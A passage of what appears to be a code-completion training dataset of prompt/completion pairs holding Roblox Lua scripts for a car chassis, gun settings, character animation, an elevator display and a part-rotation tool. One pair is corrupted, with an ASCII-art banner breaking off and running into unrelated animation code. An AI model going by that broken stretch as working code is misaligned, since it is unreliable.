then\n\t\tv:FindFirstChild(\"Steer\"):Destroy()\n\tend\n\t\n\tlocal gyro=Instance.new(\"BodyGyro\",v)\n\tgyro.Name=\"Stabilizer\"\n\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\tgyro.D=_Tune.FGyroD\n\t\tgyro.MaxTorque=_Tune.FGyroMaxTorque\n\t\tgyro.P=_Tune.FGyroP\n\telse\n\t\tgyro.D=_Tune.RGyroD\n\t\tgyro.MaxTorque=_Tune.RGyroMaxTorque\n\t\tgyro.P=_Tune.RGyroP\n\tend\n\t\n\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\tlocal steer=Instance.new(\"BodyGyro\",arm)\n\t\tsteer.Name=\"Steer\"\n\t\tsteer.P=_Tune.SteerP\n\t\tsteer.D=_Tune.SteerD\n\t\tsteer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)\n\t\tsteer.cframe=base.CFrame\n\telse\n\t\tMakeWeld(base,axle,\"Weld\")\n\tend\n\t\n\tlocal AV=Instance.new(\"BodyAngularVelocity\",v)\n\tAV.Name=\"#AV\"\n\tAV.angularvelocity=Vector3.new(0,0,0)\n\tAV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce)\n\tAV.P=1e9\nend\n\nfor i,v in pairs(script:GetChildren()) do\n\tif v:IsA(\"ModuleScript\") then\n\t\trequire(v)\n\tend\nend\n\nwait()\nModelWeld(car.Body,car.DriveSeat)\n\nlocal flipG = Instance.new(\"BodyGyro\",car.DriveSeat)\nflipG.Name = \"Flip\"\nflipG.D = 0\nflipG.MaxTorque = Vector3.new(0,0,0)\nflipG.P = 0\n\nwait()\n\nUnAnchor(car)\n\nscript.Parent[\"A-Chassis Interface\"].Car.Value=car\nfor i,v in pairs(script.Parent.Plugins:GetChildren()) do\n\tfor _,a in pairs(v:GetChildren()) do\n\t\tif a:IsA(\"RemoteEvent\") or a:IsA(\"RemoteFunction\") then \n\t\t\ta.Parent=car\n\t\t\tfor _,b in pairs(a:GetChildren()) do\n\t\t\t\tif b:IsA(\"Script\") then b.Disabled=false end\n\t\t\tend\t\n\t\tend\n\tend\n\tv.Parent = script.Parent[\"A-Chassis Interface\"]\nend\nscript.Parent.Plugins:Destroy()\n\ncar.DriveSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tlocal p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\tcar.DriveSeat:SetNetworkOwner(p)\n\t\tlocal g=script.Parent[\"A-Chassis Interface\"]:Clone()\n\t\tg.Parent=p.PlayerGui\n\tend\nend)\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then\n\t\tfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\t\t\tif v:IsA(\"Sound\") then v:Stop() end\n\t\tend\n\t\tif car.DriveSeat:FindFirstChild(\"Flip\")~=nil then\n\t\t\tcar.DriveSeat.Flip.MaxTorque = Vector3.new()\n\t\tend\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v:FindFirstChild(\"#AV\")~=nil then\n\t\t\t\tif v[\"#AV\"].AngularVelocity.Magnitude>0 then\n\t\t\t\t\tv[\"#AV\"].AngularVelocity = Vector3.new()\n\t\t\t\t\tv[\"#AV\"].MaxTorque = Vector3.new()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nver = require(script.Parent.README)"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 720; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "-- declarations", "completion": "\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\nHumanoid.Health=100"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent.Parent\nFloor = Lift:WaitForChild(\"Floor\")\nDirection = Lift:WaitForChild(\"Direction\")\nMotor = Lift:WaitForChild(\"MotorMode\")\n\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tThis.Floor.Text = SF\nend\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_-0.01 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / 12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tstopAllAnimations()\n\t\tmoveSit()\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "-- Container for temporary connections (disconnected automatically)", "completion": "\nlocal Connections = {};\n\nfunction RotateTool.Equip()\n\t-- Enables the tool's equipped functionality\n\n\t-- Set our current pivot mode\n\tSetPivot(RotateTool.Pivot);\n\n\t-- Start up our interface\n\tShowUI();\n\tBindShortcutKeys();\n\nend;\n\nfunction RotateTool.Unequip()\n\t-- Disables the tool's equipped functionality\n\n\t-- Clear unnecessary resources\n\tHideUI();\n\tHideHandles();\n\tClearConnections();\n\tBoundingBox.ClearBoundingBox();\n\tSnapTracking.StopTracking();\n\nend;\n\nfunction ClearConnections()\n\t-- Clears out temporary connections\n\n\tfor ConnectionKey, Connection in pairs(Connections) do\n\t\tConnection:Disconnect();\n\t\tConnections[ConnectionKey] = nil;\n\tend;\n\nend;\n\nfunction ClearConnection(ConnectionKey)\n\t-- Clears the given specific connection\n\n\tlocal Connection = Connections[ConnectionKey];\n\n\t-- Disconnect the connection if it exists\n\tif Connections[ConnectionKey] then\n\t\tConnection:Disconnect();\n\t\tConnections[ConnectionKey] = nil;\n\tend;\n\nend;\n\nfunction ShowUI()\n\t-- Creates and reveals the UI\n\n\t-- Reveal UI if already created\n\tif RotateTool.UI then\n\n\t\t-- Reveal the UI\n\t\tRotateTool.UI.Visible = true;\n\n\t\t-- Update the UI every 0.1 seconds\n\t\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\n\t\t-- Skip UI creation\n\t\treturn;\n\n\tend;\n\n\t-- Create the UI\n\tRotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone();\n\tRotateTool.UI.Parent = Core.UI;\n\tRotateTool.UI.Visible = true;\n\n\t-- Add functionality to the pivot option switch\n\tlocal PivotSwitch = RotateTool.UI.PivotOption;\n\tPivotSwitch.Center.Button.MouseButton1Down:Connect(function ()\n\t\tSetPivot('Center');\n\tend);\n\tPivotSwitch.Local.Button.MouseButton1Down:Connect(function ()\n\t\tSetPivot('Local');\n\tend);\n\tPivotSwitch.Last.Button.MouseButton1Down:Connect(function ()\n\t\tSetPivot('Last');\n\tend);\n\n\t-- Add functionality to the increment input\n\tlocal IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox;\n\tIncrementInput.FocusLost:Connect(function (EnterPressed)\n\t\tRotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment;\n\t\tIncrementInput.Text = Support.Round(RotateTool.Increment, 4);\n\tend);\n\n\t-- Add functionality to the rotation inputs\n\tlocal XInput = RotateTool.UI.Info.RotationInfo.X.TextBox;\n\tlocal YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox;\n\tlocal ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox;\n\tXInput.FocusLost:Connect(function (EnterPressed)\n\t\tlocal NewAngle = tonumber(XInput.Text);\n\t\tif NewAngle then\n\t\t\tSetAxisAngle('X', NewAngle);\n\t\tend;\n\tend);\n\tYInput.FocusLost:Connect(function (EnterPressed)\n\t\tlocal NewAngle = tonumber(YInput.Text);\n\t\tif NewAngle then\n\t\t\tSetAxisAngle('Y', NewAngle);\n\t\tend;\n\tend);\n\tZInput.FocusLost:Connect(function (EnterPressed)\n\t\tlocal NewAngle = tonumber(ZInput.Text);\n\t\tif NewAngle then\n\t\t\tSetAxisAngle('Z', NewAngle);\n\t\tend;\n\tend);\n\n\t-- Hook up manual triggering\n\tlocal SignatureButton = RotateTool.UI:WaitForChild('Title'):WaitForChild('Signature')\n\tListenForManualWindowTrigger(RotateTool.ManualText, RotateTool.Color.Color, SignatureButton)\n\n\t-- Update the UI every 0.1 seconds\n\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\nend;\n\nfunction HideUI()\n\t-- Hides the tool UI\n\n\t-- Make sure there's a UI\n\tif not RotateTool.UI then\n\t\treturn;\n\tend;\n\n\t-- Hide the UI\n\tRotateTool.UI.Visible = false;\n\n\t-- Stop updating the UI\n\tUIUpdater:Stop();\n\nend;\n\nfunction UpdateUI()\n\t-- Updates information on the UI\n\n\t-- Make sure the UI's on\n\tif not RotateTool.UI then\n\t\treturn;\n\tend;\n\n\t-- Only show and calculate selection info if it's not empty\n\tif #Selection.Parts == 0 then\n\t\tRotateTool.UI.Info.Visible = false;\n\t\tRotateTool.UI.Size = UDim2.new(0, 245, 0, 90);\n\t\treturn;\n\telse\n\t\tRotateTool.UI.Info.Visible = true;\n\t\tRotateTool.UI.Size = UDim2.new(0, 245, 0, 150);\n\tend;\n\n\t-----------------------------------------\n\t-- Update the size information indicators\n\t-----------------------------------------\n\n\t-- Identify common angles across axes\n\tlocal XVariations, YVariations, ZVariations = {}, {}, {};\n\tfor _, Part in pairs(Selection.Parts) do\n\t\ttable.insert(XVariations, Support.Round(Part.Orientation.X, 3));\n\t\ttable.insert(YVariations, Support.Round(Part.Orientation.Y, 3));\n\t\ttable.insert(ZVariations, Support.Round(Part.Orientation.Z, 3));\n\tend;\n\tlocal CommonX = Support.IdentifyCommonItem(XVariations);\n\tlocal CommonY = Support.IdentifyCommonItem(YVariations);\n\tlocal CommonZ = Support.IdentifyCommonItem(ZVariations);\n\n\t-- Shortcuts to indicators\n\tlocal XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox;\n\tlocal YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox;\n\tlocal ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox;\n\n\t-- Update each indicator if it's not currently being edited\n\tif not XIndicator:IsFocused() then\n\t\tXIndicator.Text = CommonX or '*';\n\tend;\n\tif not YIndicator:IsFocused() then\n\t\tYIndicator.Text = CommonY or '*';\n\tend;\n\tif not ZIndicator:IsFocused() then\n\t\tZIndicator.Text = CommonZ or '*';\n\tend;\n\nend;\n\nfunction SetPivot(PivotMode)\n\t-- Sets the given rotation pivot mode\n\n\t-- Update setting\n\tRotateTool.Pivot = PivotMode;\n\n\t-- Update the UI switch\n\tif RotateTool.UI then\n\t\tCore.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption);\n\tend;\n\n\t-- Disable any unnecessary bounding boxes\n\tBoundingBox.ClearBoundingBox();\n\n\t-- For center mode, use bounding box handles\n\tif PivotMode == 'Center' then\n\t\tBoundingBox.StartBoundingBox(AttachHandles);\n\n\t-- For local mode, use focused part handles\n\telseif PivotMode == 'Local' then\n\t\tAttachHandles(Selection.Focus, true); \n\n\t-- For last mode, use focused part handles\n\telseif PivotMode == 'Last' then\n\t\tAttachHandles(CustomPivotPoint and (RotateTool.Handles and RotateTool.Handles.Adornee) or Selection.Focus, true);\n\tend;\n\nend;\n\nfunction AttachHandles(Part, Autofocus)\n\t-- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part\n\n\t-- Enable autofocus if requested and not already on\n\tif Autofocus and not Connections.AutofocusHandle then\n\t\tConnections.AutofocusHandle = Selection.FocusChanged:Connect(function ()\n\t\t\tAttachHandles(Selection.Focus, true);\n\t\tend);\n\n\t-- Disable autofocus if not requested and on\n\telseif not Autofocus and Connections.AutofocusHandle then\n\t\tClearConnection 'AutofocusHandle';\n\tend;\n\n\t-- Clear previous pivot point\n\tCustomPivotPoint = nil\n\n\t-- Just attach and show the handles if they already exist\n\tif RotateTool.Handles then\n\t\tRotateTool.Handles:BlacklistObstacle(BoundingBox.GetBoundingBox())\n\t\tRotateTool.Handles:SetAdornee(Part)\n\t\treturn\n\tend\n\n\tlocal AreaPermissions\n\tlocal function OnHandleDragStart()\n\t\t-- Prepare for rotating parts when the handle is clicked\n\n\t\t-- Prevent selection\n\t\tCore.Targeting.CancelSelecting();\n\n\t\t-- Indicate rotating via handle\n\t\tHandleRotating = true;\n\n\t\t-- Freeze bounding box extents while rotating\n\t\tif BoundingBox.GetBoundingBox() then\n\t\t\tInitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Selection.Parts, BoundingBox.StaticExtents)\n\t\t\tBoundingBox.PauseMonitoring();\n\t\tend;\n\n\t\t-- Stop parts from moving, and capture the initial state of the parts\n\t\tInitialState = PreparePartsForRotating();\n\n\t\t-- Track the change\n\t\tTrackChange();\n\n\t\t-- Cache area permissions information\n\t\tif Core.Mode == 'Tool' then\n\t\t\tAreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);\n\t\tend;\n\n\t\t-- Set the pivot point to the center of the selection if in Center mode\n\t\tif RotateTool.Pivot == 'Center' then\n\t\t\tPivotPoint = BoundingBox.GetBoundingBox().CFrame;\n\n\t\t-- Set the pivot point to the center of the focused part if in Last mode\n\t\telseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then\n\t\t\tif Selection.Focus:IsA 'BasePart' then\n\t\t\t\tPivotPoint = Selection.Focus.CFrame\n\t\t\telseif Selection.Focus:IsA 'Model' then\n\t\t\t\tPivotPoint = Selection.Focus:GetModelCFrame()\n\t\t\tend\n\t\tend;\n\n\tend\n\n\tlocal function OnHandleDrag(Axis, Rotation)\n\t\t-- Update parts when the handles are moved\n\n\t\t-- Only rotate if handle is enabled\n\t\tif not HandleRotating then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Turn the rotation amount into degrees\n\t\tRotation = math.deg(Rotation);\n\n\t\t-- Calculate the increment-aligned rotation amount\n\t\tRotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360;\n\n\t\t-- Get displayable rotation delta\n\t\tlocal DisplayedRotation = GetHandleDisplayDelta(Rotation);\n\n\t\t-- Perform the rotation\n\t\tRotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialState);\n\n\t\t-- Make sure we're not entering any unauthorized private areas\n\t\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\t\tfor Part, State in pairs(InitialState) do\n\t\t\t\tPart.CFrame = State.CFrame;\n\t\t\tend;\n\n\t\t\t-- Reset displayed rotation delta\n\t\t\tDisplayedRotation = 0;\n\t\tend;\n\n\t\t-- Update the \"degrees rotated\" indicator\n\t\tif RotateTool.UI then\n\t\t\tRotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees';\n\t\tend;\n\n\tend\n\n\tlocal function OnHandleDragEnd()\n\t\tif not HandleRotating then\n\t\t\treturn\n\t\tend\n\n\t\t-- Prevent selection\n\t\tCore.Targeting.CancelSelecting();\n\n\t\t-- Disable rotating\n\t\tHandleRotating = false;\n\n\t\t-- Clear this connection to prevent it from firing again\n\t\tClearConnection 'HandleRelease';\n\n\t\t-- Clear change indicator states\n\t\tHandleDirection = nil;\n\t\tHandleFirstAngle = nil;\n\t\tLastDisplayedRotation = nil;\n\n\t\t-- Make joints, restore original anchor and collision states\n\t\tfor Part, State in pairs(InitialState) do\n\t\t\tPart:MakeJoints();\n\t\t\tCore.RestoreJoints(State.Joints);\n\t\t\tPart.CanCollide = State.CanCollide;\n\t\t\tPart.Anchored = State.Anchored;\n\t\tend;\n\n\t\t-- Register the change\n\t\tRegisterChange();\n\n\t\t-- Resume normal bounding box updating\n\t\tBoundingBox.RecalculateStaticExtents();\n\t\tBoundingBox.ResumeMonitoring();\n\n\tend\n\n\t-- Create the handles\n\tlocal ArcHandles = require(Libraries:WaitForChild 'ArcHandles')\n\tRotateTool.Handles = ArcHandles.new({\n\t\tColor = RotateTool.Color.Color,\n\t\tParent = Core.UIContainer,\n\t\tAdornee = Part,\n\t\tObstacleBlacklist = { BoundingBox.GetBoundingBox() },\n\t\tOnDragStart = OnHandleDragStart,\n\t\tOnDrag = OnHandleDrag,\n\t\tOnDragEnd = OnHandleDragEnd\n\t})\nend\n\nfunction HideHandles()\n\t-- Hides the resizing handles\n\n\t-- Make sure handles exist and are visible\n\tif not RotateTool.Handles then\n\t\treturn;\n\tend;\n\n\t-- Hide the handles\n\tRotateTool.Handles = RotateTool.Handles:Destroy()\n\n\t-- Disable handle autofocus if enabled\n\tClearConnection 'AutofocusHandle';\n\nend;\n\nfunction RotatePartsAroundPivot(PivotMode, PivotPoint, Axis, Rotation, InitialStates)\n\t-- Rotates the given parts in `InitialStates` around `PivotMode` (using `PivotPoint` if applicable)'s `Axis` by `Rotation`\n\n\t-- Create a CFrame that increments rotation by `Rotation` around `Axis`\n\tlocal RotationCFrame = CFrame.fromAxisAngle(Vector3.FromAxis(Axis), math.rad(Rotation));\n\n\t-- Rotate each part\n\tfor Part, InitialState in pairs(InitialStates) do\n\n\t\t-- Rotate around the selection's center, or the currently focused part\n\t\tif PivotMode == 'Center' or PivotMode == 'Last' then\n\n\t\t\t-- Calculate the focused part's rotation\n\t\t\tlocal RelativeTo = PivotPoint * RotationCFrame;\n\n\t\t\t-- Calculate this part's offset from the focused part's rotation\n\t\t\tlocal Offset = PivotPoint:toObjectSpace(InitialState.CFrame);\n\n\t\t\t-- Rotate relative to the focused part by this part's offset from it\n\t\t\tPart.CFrame = RelativeTo * Offset;\n\n\t\t-- Rotate around the part's center\n\t\telseif RotateTool.Pivot == 'Local' then\n\t\t\tPart.CFrame = InitialState.CFrame * RotationCFrame;\n\n\t\tend;\n\n\tend;\n\nend;\n\nfunction GetHandleDisplayDelta(HandleRotation)\n\t-- Returns a human-friendly version of the handle's rotation delta\n\n\t-- Prepare to capture first angle\n\tif HandleFirstAngle == nil then\n\t\tHandleFirstAngle = true;\n\t\tHandleDirection = true;\n\n\t-- Capture first angle\n\telseif HandleFirstAngle == true then\n\n\t\t-- Determine direction based on first angle\n\t\tif math.abs(HandleRotation) > 180 then\n\t\t\tHandleDirection = false;\n\t\telse\n\t\t\tHandleDirection = true;\n\t\tend;\n\n\t\t-- Disable first angle capturing\n\t\tHandleFirstAngle = false;\n\n\tend;\n\n\t-- Determine the rotation delta to display\n\tlocal DisplayedRotation;\n\tif HandleDirection == true then\n\t\tDisplayedRotation = (360 - HandleRotation) % 360;\n\telse\n\t\tDisplayedRotation = HandleRotation % 360;\n\tend;\n\n\t-- Switch delta calculation direction if crossing directions\n\tif LastDisplayedRotation and (\n\t (LastDisplayedRotation <= 120 and DisplayedRotation >= 240) or\n\t (LastDisplayedRotation >= 240 and DisplayedRotation <= 120)) then\n\t\tHandleDirection = not HandleDirection;\n\tend;\n\n\t-- Update displayed rotation after direction correction\n\tif HandleDirection == true then\n\t\tDisplayedRotation = (360 - HandleRotation) % 360;\n\telse\n\t\tDisplayedRotation = HandleRotation % 360;\n\tend;\n\n\t-- Store this last display rotation\n\tLastDisplayedRotation = DisplayedRotation;\n\n\t-- Return updated display delta\n\treturn DisplayedRotation;\n\nend;\n\nfunction BindShortcutKeys()\n\t-- Enables useful shortcut keys for this tool\n\n\t-- Track user input while this tool is equipped\n\ttable.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)\n\n\t\t-- Make sure this is an intentional event\n\t\tif GameProcessedEvent then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Make sure this input is a key press\n\t\tif InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Make sure it wasn't pressed while typing\n\t\tif UserInputService:GetFocusedTextBox() then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Check if the enter key was pressed\n\t\tif InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then\n\n\t\t\t-- Toggle the current axis mode\n\t\t\tif RotateTool.Pivot == 'Center' then\n\t\t\t\tSetPivot('Local');\n\n\t\t\telseif RotateTool.Pivot == 'Local' then\n\t\t\t\tSetPivot('Last');\n\n\t\t\telseif RotateTool.Pivot == 'Last' then\n\t\t\t\tSetPivot('Center');\n\t\t\tend;\n\n\t\t-- Nudge around X axis if the 8 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then\n\t\t\tNudgeSelectionByAxis(Enum.Axis.X, 1);\n\n\t\t-- Nudge around X axis if the 2 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then\n\t\t\tNudgeSelectionByAxis(Enum.Axis.X, -1);\n\n\t\t-- Nudge around Z axis if the 9 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then\n\t\t\tNudgeSelectionByAxis(Enum.Axis.Z, 1);\n\n\t\t-- Nudge around Z axis if the 1 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then\n\t\t\tNudgeSelectionByAxis(Enum.Axis.Z, -1);\n\n\t\t-- Nudge around Y axis if the 4 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then\n\t\t\tNudgeSelectionByAxis(Enum.Axis.Y, -1);\n\n\t\t-- Nudge around Y axis if the 6 button on the keypad is pressed\n\t\telseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then\n\t\t\tNudgeSelectionByAxis(Enum.Axis.Y, 1);\n\n\t\t-- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey\n\t\telseif (InputInfo.KeyCode == Enum.KeyCode.R) and not Selection.Multiselecting then\n\t\t\tStartSnapping();\n\n\t\t-- Start snapping when T key is pressed down (alias)\n\t\telseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then\n\t\t\tStartSnapping();\n\n\t\tend;\n\n\tend));\n\n\t-- Track ending user input while this tool is equipped\n\tConnections.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)\n\t\tif GameProcessedEvent then\n\t\t\treturn\n\t\tend\n\n\t\t-- Make sure this is input from the keyboard\n\t\tif InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then\n\t\t\treturn\n\t\tend\n\n\t\t-- If - key was released, focus on increment input\n\t\tif (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then\n\t\t\tif RotateTool.UI then\n\t\t\t\tRotateTool.UI.IncrementOption.Increment.TextBox:CaptureFocus()\n\t\t\tend\n\t\tend\n\tend)\nend;\n\nfunction StartSnapping()\n\n\t-- Make sure snapping isn't already enabled\n\tif SnapTracking.Enabled then\n\t\treturn;\n\tend;\n\n\t-- Listen for snapped points\n\tSnapTracking.StartTracking(function (NewPoint)\n\t\tSnappedPoint = NewPoint;\n\tend);\n\n\t-- Select the snapped pivot point upon clicking\n\tConnections.SelectSnappedPivot = Core.Mouse.Button1Down:Connect(function ()\n\n\t\t-- Disable unintentional selection\n\t\tCore.Targeting.CancelSelecting();\n\n\t\t-- Ensure there is a snap point\n\t\tif not SnappedPoint then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Disable snapping\n\t\tSnapTracking.StopTracking();\n\n\t\t-- Attach the handles to a part at the snapped point\n\t\tlocal Part = Make 'Part' {\n\t\t\tCFrame = SnappedPoint,\n\t\t\tSize = Vector3.new(5, 1, 5)\n\t\t};\n\t\tSetPivot 'Last';\n\t\tAttachHandles(Part, true);\n\n\t\t-- Maintain the part in memory to prevent garbage collection\n\t\tGCBypass = { Part };\n\n\t\t-- Set the pivot point\n\t\tPivotPoint = SnappedPoint;\n\t\tCustomPivotPoint = true;\n\n\t\t-- Disconnect snapped pivot point selection listener\n\t\tClearConnection 'SelectSnappedPivot';\n\n\tend);\n\nend;\n\nfunction SetAxisAngle(Axis, Angle)\n\t-- Sets the selection's angle on axis `Axis` to `Angle`\n\n\t-- Turn the given angle from degrees to radians\n\tlocal Angle = math.rad(Angle);\n\n\t-- Track this change\n\tTrackChange();\n\n\t-- Prepare parts to be moved\n\tlocal InitialStates = PreparePartsForRotating();\n\n\t-- Update each part\n\tfor Part, State in pairs(InitialStates) do\n\n\t\t-- Set the part's new CFrame\n\t\tPart.CFrame = CFrame.new(Part.Position) * CFrame.fromOrientation(\n\t\t\tAxis == 'X' and Angle or math.rad(Part.Orientation.X),\n\t\t\tAxis == 'Y' and Angle or math.rad(Part.Orientation.Y),\n\t\t\tAxis == 'Z' and Angle or math.rad(Part.Orientation.Z)\n\t\t);\n\n\tend;\n\n\t-- Cache up permissions for all private areas\n\tlocal AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);\n\n\t-- Revert changes if player is not authorized to move parts to target destination\n\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\tfor Part, State in pairs(InitialStates) do\n\t\t\tPart.CFrame = State.CFrame;\n\t\tend;\n\tend;\n\n\t-- Restore the parts' original states\n\tfor Part, State in pairs(InitialStates) do\n\t\tPart:MakeJoints();\n\t\tCore.RestoreJoints(State.Joints);\n\t\tPart.CanCollide = State.CanCollide;\n\t\tPart.Anchored = State.Anchored;\n\tend;\n\n\t-- Register the change\n\tRegisterChange();\n\nend;\n\nfunction NudgeSelectionByAxis(Axis, Direction)\n\t-- Nudges the rotation of the selection in the direction of the given axis\n\n\t-- Ensure selection is not empty\n\tif #Selection.Parts == 0 then\n\t\treturn;\n\tend;\n\n\t-- Get amount to nudge by\n\tlocal NudgeAmount = RotateTool.Increment;\n\n\t-- Reverse nudge amount if shift key is held while nudging\n\tlocal PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));\n\tif PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then\n\t\tNudgeAmount = -NudgeAmount;\n\tend;\n\n\t-- Track the change\n\tTrackChange();\n\n\t-- Stop parts from moving, and capture the initial state of the parts\n\tlocal InitialState = PreparePartsForRotating();\n\n\t-- Set the pivot point to the center of the selection if in 